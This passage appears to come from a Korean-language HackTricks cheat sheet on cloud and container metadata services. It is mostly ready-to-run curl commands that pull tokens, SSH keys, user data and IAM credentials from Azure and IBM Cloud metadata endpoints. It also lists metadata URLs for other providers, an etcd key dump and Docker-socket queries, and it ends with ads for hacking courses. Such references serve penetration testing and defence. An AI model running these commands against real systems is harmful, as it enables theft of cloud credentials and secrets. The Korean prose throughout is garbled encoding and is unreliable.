curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
Warning
IBMμμλ κΈ°λ³Έμ μΌλ‘ λ©νλ°μ΄ν°κ° νμ±νλμ΄ μμ§ μμΌλ―λ‘, IBM ν΄λΌμ°λ VM λ΄μ μλλΌλ μ κ·Όν μ μμ μ μμ΅λλ€.
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
λ€μν νλ«νΌμ λ©νλ°μ΄ν° μλΉμ€μ λν λ¬Έμκ° μλμ μ€λͺ λμ΄ μμΌλ©°, μΈμ€ν΄μ€μ κ΅¬μ± λ° λ°νμ μ 보λ₯Ό μ κ·Όν μ μλ λ°©λ²μ κ°μ‘°ν©λλ€. κ° νλ«νΌμ κ³ μ ν μλν¬μΈνΈλ₯Ό μ 곡νμ¬ λ©νλ°μ΄ν° μλΉμ€μ μ κ·Όν μ μμ΅λλ€.
Packetcloud
Packetcloudμ λ©νλ°μ΄ν°μ μ κ·ΌνκΈ° μν λ¬Έμλ λ€μμμ μ°Ύμ μ μμ΅λλ€: https://metadata.packet.net/userdata
OpenStack/RackSpace
ν€λμ νμμ±μ μΈκΈλμ§ μμμ΅λλ€. λ©νλ°μ΄ν°λ λ€μμ ν΅ν΄ μ κ·Όν μ μμ΅λλ€:
http://169.254.169.254/openstack
HP Helion
μ¬κΈ°μμλ ν€λμ νμμ±μ μΈκΈλμ§ μμμ΅λλ€. λ©νλ°μ΄ν°λ λ€μμμ μ κ·Όν μ μμ΅λλ€:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloudλ λ€μν λ©νλ°μ΄ν° μΈ‘λ©΄μ μ κ·ΌνκΈ° μν μΌλ ¨μ μλν¬μΈνΈλ₯Ό μ 곡ν©λλ€:
http://192.0.0.192/latest/http://192.0.0.192/latest/user-data/http://192.0.0.192/latest/meta-data/http://192.0.0.192/latest/attributes/
Alibaba
Alibabaλ μΈμ€ν΄μ€ λ° μ΄λ―Έμ§ IDλ₯Ό ν¬ν¨ν λ©νλ°μ΄ν°μ μ κ·ΌνκΈ° μν μλν¬μΈνΈλ₯Ό μ 곡ν©λλ€:
http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCDλ API ν€, λ΄λΆ IP μ£Όμ λ° ν¬νΈλ₯Ό 보μ ν μ μμ΅λλ€. μ κ·Ό λ°©λ²μ λ€μκ³Ό κ°μ΅λλ€:
curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Docker λ©νλ°μ΄ν°λ λ‘컬μμ μ κ·Όν μ μμΌλ©°, 컨ν μ΄λ λ° μ΄λ―Έμ§ μ 보 κ²μμ μν μμ κ° μ 곡λ©λλ€:
- Docker μμΌμ ν΅ν΄ 컨ν μ΄λ λ° μ΄λ―Έμ§ λ©νλ°μ΄ν°μ μ κ·Όνλ κ°λ¨ν μ:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash- 컨ν μ΄λ λ΄λΆμμ Docker μμΌμ μ¬μ©νμ¬ curlμ μ¬μ©ν©λλ€:
curl --unix-socket /var/run/docker.sock http://foo/containers/jsoncurl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancherμ λ©νλ°μ΄ν°λ λ€μμ μ¬μ©νμ¬ μ κ·Όν μ μμ΅λλ€:
curl http://rancher-metadata/<version>/<path>
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


